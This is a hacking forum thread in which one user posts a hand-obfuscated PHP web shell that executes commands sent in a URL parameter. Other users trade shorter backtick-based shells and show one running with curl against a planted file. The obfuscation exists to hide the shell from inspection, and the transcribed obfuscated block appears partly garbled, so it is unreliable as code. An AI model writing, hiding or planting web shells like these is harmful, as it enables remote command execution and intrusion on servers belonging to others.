

Forum:[Hack Forums](#)

Thread: [Simple PHP Shell I made \[PHP OBFUSCATION\]](#)

Ego Inc - August 3, 2013, 12:59 pm

So I've been messing around with different methods of obfuscation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.

usage: /shell.php?c={exec_command_here}

Source:

PHP Code

<? /* Simple Shell by Tux. */

```
$_[+]"=";@$_=$_.";@$_=++$_+(++$_);$_=$_[$_];
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
++$_;++$_;++$_;$__=$__;++$_;++$_;++$_;$__=$_. $__;$__=
$_[$__];++$_;++$_;++$_;$__=$_. $__;$__=$_[$_];++
$_;++$_;$__=$__;++$_;++$_;++$_;++$_;++$_;$__
=$_. $__;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
++$_;++$_;++$_;$__=$_. $__;$__="+";++$_;$__=
$_($_[$__]);$__=$__-++$_;$__=$__($_).$__(++$_+
(--$_));--$_;--$_;$__=$__[$__];++$_;$__=
$_. $__;++$_;++$_;++$_;++$_;++$_;$__=$_.
$_;$__=$__[$_];++$_;++$_;$__=$_. $__;++
$_;++$_;$__=$__[$_];++$_;++$_;++$_;++
$_;++$_;$__=$_. $__;$__=--$_;$__=$__
[$__];++$_;++$_;++$_;$__=$__[$_];$__=
$_($_)-1;$__=$__($_);$__=$_. $__;$
__="+";$__=$_. $__[$__];$__='_';$__=$_[+];
++$_;++$_;++$_;++$_;++$_;++$_;
$__=$_. $__;$__=$__($_)-2;$__=$_. $__
($_);++$_;++$_;++$_;++$_;++$_;
++$_;++$_;++$_;++$_;++$_;++$_;
++$_;++$_;++$_;++$_;$__=$_. $__
($_);$__($_($_GET[$__[+]]));?>
```

What do you all think of it?

PigBacon - August 3, 2013, 4:52 pm

<?php `{\$\_GET['c']}` ?>

That's still pretty hard to get unless you know what the fuck backticks do.

Ego Inc - August 3, 2013, 4:59 pm

(Aug 3, 2013 04:52 PM)plausibility Wrote: [\[CITE\]](#) <?php `{\$\_GET['c']}` ?>

That's still pretty hard to get unless you know what the fuck backticks do.

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.

NeoXiD - August 3, 2013, 6:58 pm

Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It

kinda reminds me of the language 'Brainfuck'. :p

Ego Inc - August 3, 2013, 7:45 pm

(Aug 3, 2013 06:58 PM)NeoXiD Wrote: [\[CITE\]](#) Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable \$__ without using any alphanumeric letters?

NeoXiD - August 3, 2013, 7:54 pm

Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Ego Inc - August 3, 2013, 8:03 pm

(Aug 3, 2013 07:54 PM)NeoXiD Wrote: [\[CITE\]](#) Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

NeoXiD - August 3, 2013, 8:23 pm

(Aug 3, 2013 08:03 PM)Tux. Wrote: [\[CITE\]](#) Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

Well, it is done like this:

```
Code $a["+"]="; // Create array
$a=$a."; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"
Clever way to hide a character, I must admit, and it takes some time to see through ;)
```

Regards
NeoXiD

Ego Inc - August 3, 2013, 8:29 pm

(Aug 3, 2013 08:23 PM)NeoXiD Wrote: [\[CITE\]](#) Well, it is done like this:

```
Code $a["+"]="; // Create array
$a=$a."; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"
Clever way to hide a character, I must admit, and it takes some time to see through ;)
```

Regards
NeoXiD

Very nice ? You must of seen this before then ?

NeoXiD - August 3, 2013, 8:33 pm

Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual ?

Ego Inc - August 3, 2013, 8:41 pm

(Aug 3, 2013 08:33 PM)NeoXiD Wrote: [\[CITE\]](#) Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual ?

Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing around with php while there.

LevelUp - August 3, 2013, 8:46 pm

(Aug 3, 2013 04:59 PM)Tux. Wrote: [\[CITE\]](#) actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses `exec()` witch is the same but it spells it out.

`Exec()` sucks balls mang, why aren't you using `passthru()` or at least `shell_exec()`

Ego Inc - August 3, 2013, 8:51 pm

(Aug 3, 2013 08:46 PM)LevelUp Wrote: [\[CITE\]](#) `Exec()` sucks balls mang, why aren't you using `passthru()` or at least `shell_exec()`

Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.

urez - August 4, 2013, 1:44 pm

(Aug 3, 2013 08:46 PM)LevelUp Wrote: [\[CITE\]](#) `Exec()` sucks balls mang, why aren't you using `passthru()` or at least `shell_exec()` why is `passthru()` and `shell_exec()` better than `exec()`? whats the difference, i thought they do basically the same thing

Ego Inc - August 4, 2013, 8:42 pm

(Aug 4, 2013 01:44 PM)urez Wrote: [\[CITE\]](#) why is `passthru()` and `shell_exec()` better than `exec()`? whats the difference, i thought they do basically the same thing

They work in different ways I believe.

ManDoR - August 5, 2013, 3:46 am

(Aug 4, 2013 01:44 PM)urez Wrote: [\[CITE\]](#) why is `passthru()` and `shell_exec()` better than `exec()`? whats the difference, i thought they do basically the same thing

While `exec()` only returns the last output of the command, `shell_exec()` returns the whole output. But honestly, there's no reason to prefer one on the others in this situation.

Eight - August 5, 2013, 5:00 am

(Aug 3, 2013 04:52 PM)plausibility Wrote: [\[CITE\]](#) `<?php `{$_GET['c']}` ?>`

That's still pretty hard to get unless you know what the fuck backticks do.

And the record for the shortest PHP shell goes to...

Ego Inc - August 5, 2013, 6:43 am

(Aug 5, 2013 05:00 AM)Eight Wrote: [\[CITE\]](#) And the record for the shortest PHP shell goes to...

Wasn't going for short tho? lol you all miss the point ?

Pinhead Larry - August 5, 2013, 9:09 am

I have never seen obfuscation like that. Do not understand anything of it at all :/

Ego Inc - August 5, 2013, 4:29 pm

(Aug 5, 2013 05:00 AM)Eight Wrote: [\[CITE\]](#) And the record for the shortest PHP shell goes to...

Also, ne I believe the shortens in that case would be:

PHP Code

```
<?={$_GET['c']}`?>
```

?

Eight - August 5, 2013, 7:56 pm

(Aug 5, 2013 04:29 PM)Tux. Wrote: [\[CITE\]](#) Also, ne I believe the shortens in that case would be:

PHP Code

```
<?={$_GET['c']}`?>
```

?

Dammit, got me again. Try loosing the semicolon though, I heard they aren't required on one-line scripts.

Ego Inc - August 5, 2013, 8:06 pm

(Aug 5, 2013 07:56 PM)Eight Wrote: [\[CITE\]](#) Dammit, got me again. Try loosing the semicolon though, I heard they aren't required on one-line scripts.

Haha yesh ? Your right, looks like you got me?

Phizo - August 5, 2013, 8:14 pm

(Aug 5, 2013 04:29 PM)Tux. Wrote: [\[CITE\]](#) Also, ne I believe the shortens in that case would be:

PHP Code

```
<?={$_GET['c']}`?>
```

?

Not quite.

PHP Code

```
<?=$_GET[0]?>
```

Do I get a cookie?

Ego Inc - August 5, 2013, 9:11 pm

(Aug 5, 2013 08:14 PM)Phizo Wrote: [\[CITE\]](#) Not quite.

PHP Code

```
<?=$_GET[0]?>
```

Do I get a cookie?

or...

PHP Code

```
<?=$_GET[0];
```

Did I just win your cookie?

Phizo - August 5, 2013, 9:19 pm

(Aug 5, 2013 09:11 PM)Tux. Wrote: [\[CITE\]](#) actually that doesnt work... but

or...

PHP Code

```
<?=$_GET[0];
```

Did I just win your cookie?

Code jizzo# cd /srv/http/

jizzo# echo "<?=\\$_GET[0]?>" > hehe.php

jizzo# apachectl start

jizzo# curl "localhost/hehe.php?0=id"

uid=33(http) gid=33(http) groups=33(http)

Ego Inc - August 6, 2013, 2:04 am

(Aug 5, 2013 09:19 PM)Phizo Wrote: [CITE](#) Code jizzo# cd /srv/http/

```
jizzo# echo "<?=\$_GET[0]\`?>" > hehe.php
```

```
jizzo# apachectl start
```

```
jizzo# curl "localhost/hehe.php?0=id"
```

```
uid=33(http) gid=33(http) groups=33(http)
```

Notice my edit, it was in response to something else and got in there on accident lol :p I didnt mean what you said didnt work... ?